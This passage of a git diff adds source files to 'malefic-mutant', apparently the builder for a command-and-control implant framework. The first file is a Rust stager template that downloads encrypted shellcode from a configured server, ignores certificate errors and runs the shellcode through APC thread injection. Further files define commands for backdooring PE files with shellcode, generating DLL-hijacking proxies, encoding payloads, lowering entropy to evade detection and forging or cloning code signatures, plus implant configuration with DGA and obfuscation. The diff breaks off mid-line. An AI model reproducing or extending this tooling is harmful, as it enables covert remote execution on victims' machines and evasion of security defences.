p_internet_close_handle(h_connect); + p_internet_close_handle(h_internet); + return; + }} + + {tls_ignore_cert} + + // Configuration + let key: [u8; {key_len}] = [{key_bytes}]; + let iv: [u8; {iv_len}] = [{iv_bytes}]; + + // Build handshake body: [start][magic:4][artifact_id:4][end] + let mut body: [u8; 10] = [0; 10]; + body[0] = {start}u8; + let m = {magic}u32.to_le_bytes(); + body[1] = m[0]; body[2] = m[1]; body[3] = m[2]; body[4] = m[3]; + let a = {artifact_id}u32.to_le_bytes(); + body[5] = a[0]; body[6] = a[1]; body[7] = a[2]; body[8] = a[3]; + body[9] = {end}u8; + + // Encrypt body + let mut counter: usize = 0; + xor_process(&mut body, &key, &iv, &mut counter); + + // HttpSendRequestA(hRequest, headers, headersLen, body, bodyLen) + let headers: [u8; {headers_len}] = [{headers_bytes_val}]; + let ret = p_http_send_request( + h_request, + {headers_ptr}, + {headers_dword_len}u32, + body.as_ptr() as PVOID, + 10u32, + ); + if ret == 0 {{ + p_internet_close_handle(h_request); + p_internet_close_handle(h_connect); + p_internet_close_handle(h_internet); + return; + }} + + // Read response body: first 9 bytes header + let mut resp: [u8; 9] = [0; 9]; + let mut offset = 0u32; + while offset < 9 {{ + let mut bytes_read: DWORD = 0; + let ret = p_internet_read_file( + h_request, + resp.as_mut_ptr().add(offset as usize) as PVOID, + 9 - offset, + &mut bytes_read, + ); + if ret == 0 || bytes_read == 0 {{ + p_internet_close_handle(h_request); + p_internet_close_handle(h_connect); + p_internet_close_handle(h_internet); + return; + }} + offset += bytes_read; + }} + + // Decrypt and validate response + counter = 0; + xor_process(&mut resp, &key, &iv, &mut counter); + if resp[0] != {start}u8 {{ + p_internet_close_handle(h_request); + p_internet_close_handle(h_connect); + p_internet_close_handle(h_internet); + return; + }} + let recv_magic = u32::from_le_bytes([resp[1], resp[2], resp[3], resp[4]]); + let recv_len = u32::from_le_bytes([resp[5], resp[6], resp[7], resp[8]]); + if recv_magic != {magic}u32 || recv_len == 0 {{ + p_internet_close_handle(h_request); + p_internet_close_handle(h_connect); + p_internet_close_handle(h_internet); + return; + }} + + // Allocate memory for shellcode + let mut base_addr: PVOID = core::ptr::null_mut(); + let mut region_size: SIZE_T = recv_len as usize + 1; + let nt_alloc: FnNtAllocateVirtualMemory = + core::mem::transmute(self.ntdll.NtAllocateVirtualMemory); + let status = nt_alloc( + -1isize as HANDLE, &mut base_addr, 0, &mut region_size, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, + ); + if status != STATUS_SUCCESS || base_addr.is_null() {{ + p_internet_close_handle(h_request); + p_internet_close_handle(h_connect); + p_internet_close_handle(h_internet); + return; + }} + + // Read shellcode via InternetReadFile + let mut total_read: u32 = 0; + while total_read < recv_len {{ + let mut bytes_read: DWORD = 0; + let ret = p_internet_read_file( + h_request, + (base_addr as *mut u8).add(total_read as usize) as PVOID, + recv_len - total_read, + &mut bytes_read, + ); + if ret == 0 || bytes_read == 0 {{ + p_internet_close_handle(h_request); + p_internet_close_handle(h_connect); + p_internet_close_handle(h_internet); + return; + }} + total_read += bytes_read; + }} + p_internet_close_handle(h_request); + p_internet_close_handle(h_connect); + p_internet_close_handle(h_internet); + + // Decrypt shellcode + xor_process( + core::slice::from_raw_parts_mut(base_addr as *mut u8, recv_len as usize), + &key, &iv, &mut counter, + ); + + // Change memory protection to executable + let mut old_protect: ULONG = 0; + let mut protect_base = base_addr; + let mut protect_size = region_size; + let nt_protect: FnNtProtectVirtualMemory = + core::mem::transmute(self.ntdll.NtProtectVirtualMemory); + nt_protect( + -1isize as HANDLE, &mut protect_base, &mut protect_size, + PAGE_EXECUTE_READ, &mut old_protect, + ); + + // Execute shellcode via APC injection + let nt_create: FnNtCreateThreadEx = + core::mem::transmute(self.ntdll.NtCreateThreadEx); + let nt_queue: FnNtQueueApcThread = + core::mem::transmute(self.ntdll.NtQueueApcThread); + let nt_resume: FnNtAlertResumeThread = + core::mem::transmute(self.ntdll.NtAlertResumeThread); + let nt_wait: FnNtWaitForSingleObject = + core::mem::transmute(self.ntdll.NtWaitForSingleObject); + + let mut thread_handle: HANDLE = core::ptr::null_mut(); + nt_create( + &mut thread_handle, 0x1FFFFF, core::ptr::null_mut(), + -1isize as HANDLE, base_addr, core::ptr::null_mut(), + THREAD_CREATE_FLAGS_CREATE_SUSPENDED, + 0, 0, 0, core::ptr::null_mut(), + ); + if thread_handle.is_null() {{ return; }} + + nt_queue( + thread_handle, base_addr, + core::ptr::null_mut(), core::ptr::null_mut(), core::ptr::null_mut(), + ); + + let mut suspend_count: ULONG = 0; + nt_resume(thread_handle, &mut suspend_count); + nt_wait(thread_handle, 0, core::ptr::null_mut()); + }}"#, + ip_len = ip.len() + 1, + ip_bytes = ip_bytes, + port = port, + key_len = key.len(), + key_bytes = key_bytes, + iv_len = iv.len(), + iv_bytes = iv_bytes, + method_len = config.http.method.len() + 1, + method_bytes = method_bytes, + path_len = config.http.path.len() + 1, + path_bytes = path_bytes, + headers_len = if headers_str.is_empty() { + 1 + } else { + headers_str.len() + 1 + }, + headers_bytes_val = if headers_str.is_empty() { + "0".to_string() + } else { + format!("{}, 0", headers_bytes) + }, + headers_ptr = if headers_str.is_empty() { + "core::ptr::null_mut()".to_string() + } else { + "headers.as_ptr() as PSTR".to_string() + }, + headers_dword_len = if headers_str.is_empty() { + 0 + } else { + headers_str.len() + }, + request_flags = request_flags, + tls_ignore_cert = if tls { + r#"// Pre-set security flags to ignore certificate errors + let mut sec_flags: DWORD = 0x00000080u32 | 0x00000100u32 | 0x00000200u32 | 0x00001000u32 | 0x00002000u32; + p_internet_set_option( + h_request, + 31u32, + &mut sec_flags as *mut DWORD as PVOID, + 4u32, + );"# + } else { + "" + }, + start = config.flags.start, + end = config.flags.end, + magic = format!("0x{:08x}", magic), + artifact_id = config.flags.artifact_id, + ); + + let instance_rs = format!("{}\n{}\n}}\n", template, start_method); + let target_path = std::path::Path::new(TARGET_INSTANCE_PATH); + std::fs::write(target_path, instance_rs)?; + + Ok(()) +} + +fn format_byte_literals(bytes: &[u8]) -> String { + bytes + .iter() + .map(|b| format!("0x{:02x}", b)) + .collect::>() + .join(", ") +} diff --git a/malefic-mutant/src/cmd.rs b/malefic-mutant/src/cmd.rs new file mode 100644 index 0000000..50354c3 --- /dev/null +++ b/malefic-mutant/src/cmd.rs @@ -0,0 +1,674 @@ +use std::str::FromStr; + +use crate::config::{GenerateArch, Version}; +use crate::Platform; +use clap::{Parser, Subcommand}; +use strum_macros::Display; + +#[derive(Parser)] +#[command(name = "malefic-config", about = "Config malefic beacon and prelude.")] +pub struct Cli { + /// Enable debug-level logging (verbose output) + #[arg(long, global = true)] + pub debug: bool, + + #[command(subcommand)] + pub(crate) command: Commands, +} + +#[derive(Subcommand)] +pub enum Commands { + /// auto generate config + Generate { + /// Choice professional or community + #[arg(long, short = 'v', global = true, default_value = "community")] + version: Version, + + /// Config file path + #[arg(long, short = 'c', global = true, default_value = "implant.yaml")] + config: String, + + /// Choice use source code or prebuild + #[arg(long, short = 's', global = true, default_value = "false")] + source: bool, + + /// Use patch-friendly config blocks (disable obfstr, keep XOR blocks for binary patch) + #[arg(long, global = true, default_value = "false")] + patch_mode: bool, + + /// Directory containing metadata wordlist files for random generation (e.g. company_name.txt) + #[arg(long, global = true)] + metadata_wordlist: Option, + + #[command(subcommand)] + command: GenerateCommands, + }, + + /// auto build + Build { + /// Config file path + #[arg(long, short = 'c', global = true, default_value = "implant.yaml")] + config: String, + + #[arg( + long, + short = 't', + global = true, + default_value = "x86_64-pc-windows-gnu" + )] + target: String, + + /// Build as shared library (dll/so/dylib) instead of executable + #[arg(long, default_value_t = false)] + lib: bool, + + /// Build with the dev profile instead of release + #[arg(long, default_value_t = false)] + dev: bool, + + #[command(subcommand)] + command: BuildCommands, + }, + + #[command(subcommand)] + Tool(Tool), +} + +// Configuration commands +#[derive(Subcommand)] +pub enum GenerateCommands { + /// Config beacon + Beacon, + + /// Config bind + Bind, + + /// Config prelude + Prelude { + #[arg(default_value = "prelude.yaml")] + yaml_path: String, + + /// Custom resources dir, default "./resources/" + #[arg(long, default_value = "resources")] + resources: String, + + #[arg(long, default_value = "maliceofinternal")] + key: String, + + /// Custom spite.bin output path + #[arg(long, default_value = "spite.bin")] + spite: String, + }, + + /// Config modules + Modules { + /// Choice modules + #[arg(long, short = 'm', default_value = "")] + module: String, + }, + + /// Loader generation (template / proxydll / patch) + #[command(name = "loader")] + Loader { + #[command(subcommand)] + command: LoaderCommands, + }, + + /// Generate pulse + Pulse { + /// Choice arch x86/x64 + #[arg(long, short = 'a', default_value = "x64")] + arch: GenerateArch, + + /// platform, win + #[arg(long, short = 'p', default_value = "win")] + platform: Platform, + }, +} + +#[derive(Clone, Display)] +pub enum SrdiType { + LINK, + MALEFIC, +} + +impl FromStr for SrdiType { + type Err = String; + + fn from_str(s: &str) -> Result { + match s.to_lowercase().as_str() { + "link" => Ok(SrdiType::LINK), + "malefic" => Ok(SrdiType::MALEFIC), + _ => Err(format!("'{}' is not a valid value for SrdiType", s)), + } + } +} + +#[derive(Clone, Display)] +pub enum PayloadType { + #[strum(serialize = "malefic-pulse")] + PULSE, + #[strum(serialize = "malefic")] + MALEFIC, + #[strum(serialize = "malefic-prelude")] + PRELUDE, + #[strum(serialize = "malefic-modules")] + MODULES, + #[strum(serialize = "malefic-3rd")] + THIRD, + #[strum(serialize = "malefic-proxydll")] + PROXYDLL, +} + +#[derive(Subcommand)] +pub enum BuildCommands { + /// Build beacon + Malefic, + + /// Build prelude + Prelude, + + /// Build modules + Modules { + /// custom module, e.g.: --module exec,whoami + #[arg(long, short = 'm', default_value = "")] + module: String, + }, + + /// build 3rd modules〠+ #[command(name = "3rd")] + Modules3rd { + /// custom 3rd module, e.g. --3rd-module rem,curl + #[arg(long, short = 'm', default_value = "")] + module: String, + }, + + /// Build pulse + Pulse { + /// Output as raw shellcode (.bin) via objcopy + #[arg(long, default_value_t = false)] + shellcode: bool, + }, + + /// Build proxy-dll + #[command(name = "proxy-dll")] + ProxyDll, +} + +#[derive(Subcommand)] +pub enum LoaderCommands { + /// Build template loader + #[command(name = "template")] + Template { + /// Template name (or "random" for random selection) + #[arg(long, short = 't', default_value = "random")] + template: String, + + /// List available templates + #[arg(long, short = 'l')] + list: bool, + + /// Input payload file to embed in the loader + #[arg(long, short = 'i')] + input: Option, + + /// Encoding method for payload (xor, uuid, mac, ipv4, base64, base45, base58, aes, aes2, des, chacha, rc4) + #[arg(long, short = 'e')] + encoding: Option, + + /// Enable debug output in loader + #[arg(long)] + debug: bool, + }, + + /// Generate ProxyDLL for DLL hijacking + #[command(name = "proxydll")] + ProxyDll { + /// Raw DLL path (for parsing exports). If not specified, reads from config file. + #[arg(long, short = 'r', default_value = "")] + raw_dll: String, + + /// Proxied DLL path (runtime forwarding target). If not specified, reads from config file. + #[arg(long, short = 'p', default_value = "")] + proxied_dll: String, + + /// Proxy DLL name (generated proxy DLL name). Optional, defaults to proxied DLL's filename. + #[arg(long, short = 'o')] + proxy_dll: Option, + + /// Comma-separated exports to hijack for payload execution + #[arg(long, short = 'e', default_value = "")] + hijacked_exports: String, + + /// Use NtCreateThreadEx instead of std::thread + #[arg(long)] + native_thread: bool, + + #[arg(long)] + hijack_dll_main: bool, + }, + + /// Patch PE binary with shellcode (BDF - Backdoor Factory) + #[command(name = "patch")] + Patch { + /// Target PE binary to backdoor + #[arg(long, short = 'f')] + file: String, + + /// Shellcode file to inject + #[arg(long, short = 'i')] + input: Option, + + /// Output file path + #[arg(long, short = 'o')] + output: Option, + + /// Only find and list code caves (no patching) + #[arg(long)] + find_caves: bool, + + /// Force add new section instead of using code cave + #[arg(long)] + add_section: bool, + + /// Section name for new section + #[arg(long, default_value = ".sdata")] + section_name: String, + + /// Minimum code cave size in bytes + #[arg(long, default_value_t = 380)] + min_cave: usize, + + /// Do NOT disable ASLR (default: ASLR is disabled for hardcoded addresses) + #[arg(long)] + no_disable_aslr: bool, + + /// Do NOT zero certificate table (default: cert table is zeroed) + #[arg(long)] + no_zero_cert: bool, + + /// Wait for shellcode thread before jumping to original EP + /// "none" = no wait (default), "wait" = WaitForSingleObject(INFINITE), "sleep:N" = Sleep N seconds + #[arg(long, default_value = "none")] + wait: String, + + /// Execution technique for shellcode loading + /// Available: direct, create_thread (default), fiber, apc, enum_fonts, enum_locales, threadpool, nt_create_thread + #[arg(long, short = 't', default_value = "create_thread")] + technique: String, + + /// Stub hash algorithm: ror13 (default), djb2, fnv1a + #[arg(long, default_value = "ror13")] + stub_hash: String, + + /// Enable polymorphic stub generation + #[arg(long)] + stub_poly: bool, + + /// Enable stub self-encryption (XOR decrypt wrapper) + #[arg(long)] + stub_encrypt: bool, + + /// Evasion preset: none (default), basic, poly, full + /// Overrides individual --stub-* flags when not "none" + #[arg(long, default_value = "none")] + evasion: String, + + /// RNG seed for reproducible polymorphic output (0 = random) + #[arg(long, default_value_t = 0)] + seed: u64, + }, +} + +#[derive(Subcommand)] +pub enum WatermarkCommands { + /// Write watermark into a PE file + Write { + /// Input PE file + #[arg(short = 'i', long)] + input: String, + /// Output PE file + #[arg(short = 'o', long)] + output: String, + /// Watermark method: checksum, dosstub, section, overlay + #[arg(short = 'm', long)] + method: String, + /// Watermark data (string) + #[arg(short = 'w', long)] + watermark: String, + }, + /// Read watermark from a PE file + Read { + /// Input PE file + #[arg(short = 'i', long)] + input: String, + /// Watermark method: checksum, dosstub, section, overlay + #[arg(short = 'm', long)] + method: String, + /// Size hint for reading (bytes, used by dosstub/overlay) + #[arg(short = 's', long)] + size: Option, + }, +} + +#[derive(Subcommand)] +pub enum BinderCommands { + /// Bind a secondary PE onto a primary PE + Bind { + /// Primary PE file (carrier) + #[arg(short = 'p', long)] + primary: String, + /// Secondary PE file (payload to embed) + #[arg(short = 's', long)] + secondary: String, + /// Output file path + #[arg(short = 'o', long)] + output: String, + }, + /// Extract embedded secondary PE from a bound file + Extract { + /// Bound PE file + #[arg(short = 'i', long)] + input: String, + /// Output file for extracted payload + #[arg(short = 'o', long)] + output: String, + }, + /// Check if a file contains embedded payload + Check { + /// Input file to check + #[arg(short = 'i', long)] + input: String, + }, +} + +#[derive(Subcommand)] +pub enum IconCommands { + /// Replace icon in a PE file + Replace { + /// Input PE file + #[arg(short = 'i', long)] + input: String, + /// ICO file to use as replacement + #[arg(long)] + ico: String, + /// Output PE file + #[arg(short = 'o', long)] + output: String, + }, + /// Extract icon from a PE file to ICO + Extract { + /// Input PE file + #[arg(short = 'i', long)] + input: String, + /// Output ICO file + #[arg(short = 'o', long)] + output: String, + }, +} + +#[derive(Subcommand)] +pub enum Tool { + // /// Generate calc shellcode + // Calc { + // /// choice platform, + // platform: String, + // /// choice arch x86/x64 + // arch: String, + // }, + // + // /// Generate reverse shell shellcode + // ReverseShell { + // /// choice platform, + // platform: String, + // /// choice arch x86/x64 + // arch: String, + // /// choice type + // #[arg(long, default_value = "tcp")] + // r#type: String, + // /// choice ip + // ip: String, + // /// choice port + // port: String, + // }, + /// Generate SRDI + SRDI { + /// Srdi type: link(not support TLS)/malefic(support TLS) + #[arg(long, short = 't', default_value = "malefic")] + r#type: SrdiType, + + /// Source exec path + #[arg(long, short = 'i', default_value = "")] + input: String, + + /// platform, win + #[arg(long, short = 'p', default_value = "win")] + platform: Platform, + + /// Choice arch x86/x64 + #[arg(long, short = 'a', default_value = "x64")] + arch: GenerateArch, + + /// Target shellcode path + #[arg(long, short = 'o', default_value = "malefic.bin")] + output: String, + + /// Function name + #[arg(long, default_value = "")] + function_name: String, + + /// User data path + #[arg(long, default_value = "")] + userdata_path: String, + }, + + /// Strip paths from binary files + STRIP { + /// Source binary file path + #[arg(long, short = 'i')] + input: String, + + /// Output binary file path + #[arg(long, short = 'o')] + output: String, + + /// Additional custom paths to replace (comma separated) + #[arg(long, default_value = "")] + custom_paths: String, + }, + + /// Object copy utility (similar to objcopy) + #[command(name = "objcopy")] + OBJCOPY { + /// Output format (binary for -O binary) + #[arg(short = 'O')] + output_format: String, + + /// Input file path + input: String, + + /// Output file path + output: String, + }, + + /// Patch compiled binaries (NAME / KEY / SERVER address) + #[command(name = "patch")] + Patch { + /// Target binary file (e.g. malefic.exe) + #[arg(long, short = 'f')] + file: String, + + /// New NAME value (beacon name) + #[arg(long)] + name: Option, + + /// New KEY value (encryption key) + #[arg(long)] + key: Option, + + /// New server address (e.g. 192.168.1.100:5001) + #[arg(long)] + server_address: Option, + + /// Output file path (defaults to .patched) + #[arg(long, short = 'o')] + output: Option, + + /// Override XOR key (defaults to basic.key from implant.yaml) + #[arg(long = "xor-key")] + xor_key: Option, + }, + + /// Patch runtime config blob (CFGv3B64 prefix + fixed payload) + #[command(name = "patch-config")] + PatchConfig { + /// Target binary file (e.g. malefic.exe) + #[arg(long, short = 'f')] + file: String, + + /// Runtime config file (json/yaml) matching RuntimeConfig + #[arg(long, short = 'c')] + config: Option, + + /// Generate from implant.yaml instead of raw RuntimeConfig + #[arg(long = "from-implant")] + from_implant: Option, + + /// Pre-encoded blob string (length must equal CONFIG_BLOB_B64_LEN) + #[arg(long)] + blob: Option, + + /// Output file path (defaults to .patched) + #[arg(long, short = 'o')] + output: Option, + }, + + /// Payload encoding tool (T1132) + #[command(name = "encode")] + Encode { + /// Input binary file + #[arg(long, short = 'i')] + input: Option, + + /// Encoding method (xor, uuid, mac, ipv4, base64, base45, base58, aes, aes2, des, chacha, rc4) + #[arg(long, short = 'e', default_value = "xor")] + encoding: String, + + /// Output file path + #[arg(long, short = 'o')] + output: Option, + + /// Output format: bin, c, rust, all + #[arg(long, short = 'f', default_value = "bin")] + format: String, + + /// List available encodings + #[arg(long, short = 'l')] + list: bool, + }, + + /// Measure and reduce Shannon entropy of PE files + #[command(name = "entropy")] + Entropy { + /// Input PE file + #[arg(short = 'i', long)] + input: String, + /// Output file path (not used with --measure-only) + #[arg(short = 'o', long)] + output: Option, + /// Target entropy threshold (default 6.0) + #[arg(short = 't', long, default_value = "6.0")] + threshold: f64, + /// Reduction strategy: null_bytes, pokemon, random_words + #[arg(short = 's', long, default_value = "null_bytes")] + strategy: String, + /// Maximum file growth multiplier (default 5.0x) + #[arg(long, default_value = "5.0")] + max_growth: f64, + /// Only measure entropy, do not modify + #[arg(long)] + measure_only: bool, + }, + + /// PE file watermark embedding and reading + #[command(name = "watermark")] + Watermark { + #[command(subcommand)] + command: WatermarkCommands, + }, + + /// Bind/embed a secondary PE into a primary PE + #[command(name = "binder")] + Binder { + #[command(subcommand)] + command: BinderCommands, + }, + + /// PE file signature manipulation tool + #[command(name = "sigforge")] + SigForge { + #[command(subcommand)] + command: SigForgeCommands, + }, + + /// Replace or extract icons in PE files + #[command(name = "icon")] + Icon { + #[command(subcommand)] + command: IconCommands, + }, +} + +#[derive(Subcommand)] +pub enum SigForgeCommands { + /// Extract signature from a signed PE file + Extract { + #[arg(short = 'i', long)] + input: String, + #[arg(short = 'o', long)] + output: Option, + }, + /// Copy signature from one PE file to another + Copy { + #[arg(short = 's', long)] + source: String, + #[arg(short = 't', long)] + target: String, + #[arg(short = 'o', long)] + output: Option, + }, + /// Inject signature from file into PE file + Inject { + #[arg(short = 's', long)] + signature: String, + #[arg(short = 't', long)] + target: String, + #[arg(short = 'o', long)] + output: Option, + }, + /// Remove signature from PE file + Remove { + #[arg(short = 'i', long)] + input: String, + #[arg(short = 'o', long)] + output: Option, + }, + /// Check if a PE file is signed + Check { + #[arg(short = 'i', long)] + input: String, + }, + /// Clone a TLS certificate from a remote host and inject into PE + CarbonCopy { + #[arg(long)] + host: Option, + #[arg(long, default_value = "443")] + port: u16, + #[arg(long)] + cert_file: Option, + #[arg(short = 't', long)] + target: String, + #[arg(short = 'o', long)] + output: Option, + }, +} \ No newline at end of file diff --git a/malefic-mutant/src/config/mod.rs b/malefic-mutant/src/config/mod.rs new file mode 100644 index 0000000..5d104c1 --- /dev/null +++ b/malefic-mutant/src/config/mod.rs @@ -0,0 +1,850 @@ +use clap::ValueEnum; +use serde::{Deserialize, Serialize}; +use std::collections::HashMap; +use std::net::IpAddr; +use strum_macros::{Display, EnumString}; + +const DEFAULT_TLS_PORT: &str = ":443"; + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Implant { + pub basic: BasicConfig, + pub implants: ImplantConfig, + pub pulse: Option, + pub build: Option, + #[serde(default)] + pub loader: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct BasicConfig { + pub name: String, + // targets: Vec, + pub targets: Vec, + // pub protocol: String, // To be removed + // pub tls: TLSConfig, + pub proxy: ProxyConfig, + + // Cron expression configuration + #[serde(default = "default_cron")] + pub cron: String, // Cron expression, e.g. "*/5 * * * * * *" + + pub jitter: f64, // Keep jitter + #[serde(default)] + pub keepalive: bool, + pub encryption: String, + pub key: String, + pub retry: u32, // Number of consecutive failures allowed per target + #[serde(default = "default_max_cycles")] + pub max_cycles: Option, // Maximum number of cycles, -1 means infinite loop + + // DGA configuration + #[serde(default)] + pub dga: DgaConfig, + // Guardrail configuration - environment detection protection + #[serde(default)] + pub guardrail: GuardrailConfig, + // Maximum packet size for auto-chunking (matches server pipeline packet_length). + // 0 = disabled (no chunking). + #[serde(default)] + pub max_packet_length: usize, + pub secure: SecureConfig, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub struct ProxyConfig { + #[serde(default)] + pub use_env_proxy: bool, + #[serde(default)] + pub url: String, +} + +impl std::fmt::Display for ProxyConfig { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + if self.url.is_empty() && !self.use_env_proxy { + write!(f, "no proxy") + } else if self.url.is_empty() && self.use_env_proxy { + write!(f, "use environment proxy") + } else { + write!(f, "{}", self.url) + } + } +} + +impl Default for ProxyConfig { + fn default() -> Self { + Self { + use_env_proxy: false, + url: String::new(), + } + } +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct SecureConfig { + #[serde(default)] + pub enable: bool, + #[serde(default)] + pub private_key: String, + #[serde(default)] + pub public_key: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct DgaConfig { + pub enable: bool, + pub key: String, + pub interval_hours: u32, +} + +impl Default for DgaConfig { + fn default() -> Self { + Self { + enable: false, + key: "default_dga_key".to_string(), + interval_hours: 2, + } + } +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct GuardrailConfig { + pub enable: bool, + pub require_all: bool, + pub ip_addresses: Vec, + pub usernames: Vec, + pub server_names: Vec, + pub domains: Vec, +} + +impl Default for GuardrailConfig { + fn default() -> Self { + Self { + enable: false, + require_all: true, + ip_addresses: vec![], + usernames: vec![], + server_names: vec![], + domains: vec![], + } + } +} + +fn default_cron() -> String { + "*/5 * * * * * *".to_string() // Default: every 5 seconds +} + +fn default_max_cycles() -> Option { + Some(-1) // Default: -1 means infinite loop +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct TargetConfig { + pub address: String, + + // Domain suffix configuration (for DGA and other features) + // Only targets with this field configured support DGA + #[serde(default)] + pub domain_suffix: Option, + + tcp: Option, + #[serde(default)] + pub http: Option, + #[serde(default)] + pub tls: Option, + #[serde(default)] + pub rem: Option, + #[serde(default)] + pub proxy: Option, + #[serde(default)] + pub session: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct SessionConfig { + #[serde(default)] + pub read_chunk_size: Option, + #[serde(default)] + pub deadline_ms: Option, + #[serde(default)] + pub connect_timeout_ms: Option, + #[serde(default)] + pub keepalive: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct TLSConfig { + pub enable: bool, + /// TLS version: "auto", "1.2", "1.3" + #[serde(default = "default_tls_version")] + pub version: String, + /// Server Name Indication (SNI) + #[serde(default)] + pub sni: String, + #[serde(default)] + pub skip_verification: bool, + /// CA certificate file path for server verification (optional, top-level) + #[serde(default)] + pub server_ca: Option, + /// mTLS client certificate configuration + #[serde(default)] + pub mtls: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct MTLSConfig { + /// Enable mTLS + pub enable: bool, + /// Client certificate file path + pub client_cert: String, + /// Client private key file path + pub client_key: String, + /// CA certificate path for server verification (optional) + #[serde(default)] + pub server_ca: String, +} + +// Default value functions +fn default_tls_version() -> String { + "auto".to_string() +} +fn default_toolchain() -> String { + "nightly-2023-09-18".to_string() +} + +fn default_obfstr() -> bool { + true +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct BuildConfig { + pub zigbuild: bool, + pub ollvm: Ollvm, + pub metadata: Option, + #[serde(default = "default_toolchain")] + pub toolchain: String, + #[serde(default = "default_obfstr")] + pub obfstr: bool, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Ollvm { + pub enable: bool, + pub bcfobf: bool, + pub splitobf: bool, + pub subobf: bool, + pub fco: bool, + pub constenc: bool, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct PulseConfig { + pub flags: Flags, + pub target: String, + pub protocol: String, + pub encryption: String, + pub key: String, + #[serde(default)] + pub http: HttpConfig, + #[serde(default)] + pub api_type: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct TcpConfig { + // TCP-specific configuration can be added here +} + +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct HttpConfig { + pub method: String, + pub path: String, + // pub host: String, + pub version: String, + pub headers: HashMap, + #[serde(default)] + pub response_read_chunk_size: Option, + #[serde(default)] + pub response_retry_delay_ms: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct REMConfig { + pub link: String, +} + +impl TargetConfig { + /// Get the target's host address (without port) + pub fn get_host(&self) -> String { + if let Some(colon_pos) = self.address.rfind(':') { + self.address[..colon_pos].to_string() + } else { + self.address.clone() + } + } + + /// Detect the protocol type used by the target + pub fn detect_protocol(&self) -> String { + if self.http.is_some() { + "http".to_string() + } else if self.rem.is_some() { + "rem".to_string() + } else { + "tcp".to_string() // Default protocol + } + } + + /// Check if the address is an IP address + #[allow(dead_code)] + pub fn is_ip_address(&self) -> bool { + if let Some(colon_pos) = self.address.rfind(':') { + let host = &self.address[..colon_pos]; + host.parse::().is_ok() + } else { + self.address.parse::().is_ok() + } + } + + /// Check if the address is a domain name + #[allow(dead_code)] + pub fn is_domain_address(&self) -> bool { + !self.is_ip_address() + } + + /// Check if DGA is supported (only if domain_suffix is explicitly configured) + pub fn supports_dga(&self) -> bool { + self.domain_suffix.is_some() + } + + /// Get the domain suffix + pub fn get_domain_suffix(&self) -> Option<&String> { + self.domain_suffix.as_ref() + } + + /// Get the port number + #[allow(dead_code)] + pub fn get_port(&self) -> String { + if let Some(colon_pos) = self.address.rfind(':') { + self.address[colon_pos..].to_string() + } else { + DEFAULT_TLS_PORT.to_string() + } + } + + /// Validate domain suffix configuration + pub fn validate_domain_suffix(&self) -> anyhow::Result<()> { + if let Some(ref suffix) = self.domain_suffix { + if suffix.is_empty() { + return Err(anyhow::anyhow!("domain_suffix cannot be empty")); + } + + // Validate that suffix is not an IP address + if suffix.parse::().is_ok() { + return Err(anyhow::anyhow!( + "domain_suffix cannot be an IP address: {}", + suffix + )); + } + + // Validate that suffix is a valid domain format + if suffix.contains(':') { + return Err(anyhow::anyhow!( + "domain_suffix should not contain port: {}", + suffix + )); + } + } + Ok(()) + } + + /// Validate the target configuration + pub fn validate(&self) -> anyhow::Result<()> { + if self.address.is_empty() { + return Err(anyhow::anyhow!("Target address cannot be empty")); + } + + // Validate domain suffix configuration + // self.validate_domain_suffix()?; + + // Validate protocol configuration exclusivity + let protocol_count = [self.http.is_some(), self.rem.is_some()] + .iter() + .filter(|&&x| x) + .count(); + + if protocol_count > 1 { + return Err(anyhow::anyhow!( + "Target can only have one protocol configuration" + )); + } + + // Validate HTTP configuration + if let Some(http_config) = &self.http { + if http_config.method.is_empty() || http_config.path.is_empty() { + return Err(anyhow::anyhow!("HTTP method and path are required")); + } + } + + Ok(()) + } +} + +impl HttpConfig { + pub fn build(&self, length: u32) -> String { + let mut http_request = format!("{} {} HTTP/{}\\r\\n", self.method, self.path, self.version); + + // http_request.push_str(&format!("Host: {}\r\n", host)); + if length > 0 { + http_request.push_str(&format!("Content-Length: {length}\\r\\n")); + } + http_request.push_str("Connection: close\\r\\n"); + for (key, value) in &self.headers { + http_request.push_str(&format!("{}: {}\\r\\n", key, value)); + } + + http_request.to_string() + } +} + +impl BasicConfig { + /// Validate all target configurations + pub fn validate_targets(&self) -> anyhow::Result<()> { + if self.targets.is_empty() { + return Ok(()); + } + + for (index, target) in self.targets.iter().enumerate() { + target + .validate() + .map_err(|e| anyhow::anyhow!("Target {} validation failed: {}", index, e))?; + } + + // Validate DGA configuration + self.validate_dga_config()?; + + // Validate for duplicate addresses + self.validate_unique_addresses()?; + + Ok(()) + } + + /// Validate address uniqueness + fn validate_unique_addresses(&self) -> anyhow::Result<()> { + let mut addresses = std::collections::HashSet::new(); + for target in &self.targets { + if !addresses.insert(&target.address) { + return Err(anyhow::anyhow!( + "Duplicate address found: {}", + target.address + )); + } + } + Ok(()) + } + + /// Get targets that support DGA (only includes targets with dga_suffix configured) + pub fn get_dga_targets(&self) -> Vec<&TargetConfig> { + if self.dga.enable { + self.targets.iter().filter(|t| t.supports_dga()).collect() + } else { + vec![] + } + } + + /// Extract all domain suffixes (only from explicitly configured domain_suffix) + pub fn extract_domain_suffixes(&self) -> Vec { + if self.dga.enable { + self.targets + .iter() + .filter_map(|t| t.get_domain_suffix().map(|s| s.clone())) + .collect() + } else { + vec![] + } + } + + /// Validate DGA configuration + pub fn validate_dga_config(&self) -> anyhow::Result<()> { + if self.dga.enable { + if self.dga.key.is_empty() { + return Err(anyhow::anyhow!( + "DGA key cannot be empty when 